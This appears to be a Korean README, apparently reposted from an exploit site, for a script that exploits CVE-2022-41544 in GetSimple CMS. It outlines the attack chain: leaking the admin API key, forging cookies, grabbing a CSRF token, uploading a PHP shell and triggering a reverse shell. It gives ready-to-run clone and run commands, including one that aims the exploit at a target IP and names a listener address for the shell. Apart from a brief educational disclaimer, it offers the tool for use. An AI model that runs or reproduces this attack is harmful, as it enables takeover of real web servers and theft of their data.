CVE-2022-41544 익스플로잇 스크립트

이 저장소는 GetSimple CMS의 CVE-2022-41544 취약점을 익스플로잇하는 스크립트를 포함합니다. 스크립트는 취약점 확인, API 키 유출, 쿠키 설정, CSRF 토큰 획득, 셸 업로드 및 셸 트리거 등의 여러 단계를 수행합니다.

변경 사항 및 개선 사항

1. 비권장 경고 처리: 더 이상 사용되지 않는 telnetlib 임포트를 제거했습니다. 스크립트 기능에 필요하지 않았기 때문입니다.
2. 향상된 오류 처리: HTTP 요청 및 XML 파싱에 대한 더 강력한 오류 처리를 추가했습니다.
3. 개선된 사용자 피드백: 각 단계에 대해 자세한 피드백을 제공하여 사용자가 스크립트 진행 상황 및 발생한 문제를 이해할 수 있도록 했습니다.
4. 입력 검증: 대상(target), 경로(path), 자격 증명(credentials)에 대한 사용자 입력이 유효한지 확인합니다.
5. 문서화 및 주석: 코드 가독성과 사용성을 향상시키기 위해 주석과 문서를 추가했습니다.

사용법

1. 저장소 클론:

   root@kitploit:~

   git clone https://github.com/n3rdyn3xus/CVE-2022-41544.git
   cd CVE-2022-41544
   

2. 의존성 설치: Python 3 및 requests 라이브러리가 설치되어 있는지 확인하십시오.

   root@kitploit:~

   pip3 install requests
   

3. 스크립트 실행:

   root@kitploit:~

   python3 CVE-2022-41544.py <target> <path> <ip:port> <username>
   

   • <target>: 대상 도메인 또는 IP 주소.
   • <path>: GetSimple CMS 설치 경로.
   • <ip:port>: 리버스 셸(reverse shell)용 IP 및 포트.
   • <username>: GetSimple CMS의 관리자 사용자 이름.

   예:

   root@kitploit:~

   python3 CVE-2022-41544.py 10.129.42.249 /CMS 10.10.14.8:4444 admin
   

스크립트 개요

함수들

• print_the_banner(): ASCII 아트를 사용하여 스타일화된 배너를 표시합니다.
• get_version(target, path): 대상 GetSimple CMS 버전이 취약한지 확인합니다.
• api_leak(target, path): 인증 XML 파일에서 API 키를 검색하려고 시도합니다.
• set_cookies(username, version, apikey): 검색된 API 키를 기반으로 후속 요청에 필요한 쿠키를 설정합니다.
• get_csrf_token(target, path, headers): 셸 업로드에 필요한 CSRF 토큰을 추출합니다.
• upload_shell(target, path, headers, nonce, shell_content): 대상 서버에 PHP 셸을 업로드합니다.
• shell_trigger(target, path): 업로드된 셸을 트리거하여 리버스 셸 연결을 설정합니다.

메인 함수

main() 함수는 위 함수들을 순서대로 호출하여 CVE-2022-41544 취약점을 익스플로잇하는 전체 과정을 조율합니다.

작성자

이 스크립트는 h3x0v3rl0rd에 의해 개발되었습니다.

면책 조항

이 스크립트는 교육 목적으로만 제공됩니다. 시스템에 대한 무단 접근은 불법이며 비윤리적입니다. 이 스크립트를 책임감 있게 사용하고, 명시적 테스트 허가를 받은 시스템에서만 사용하십시오.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.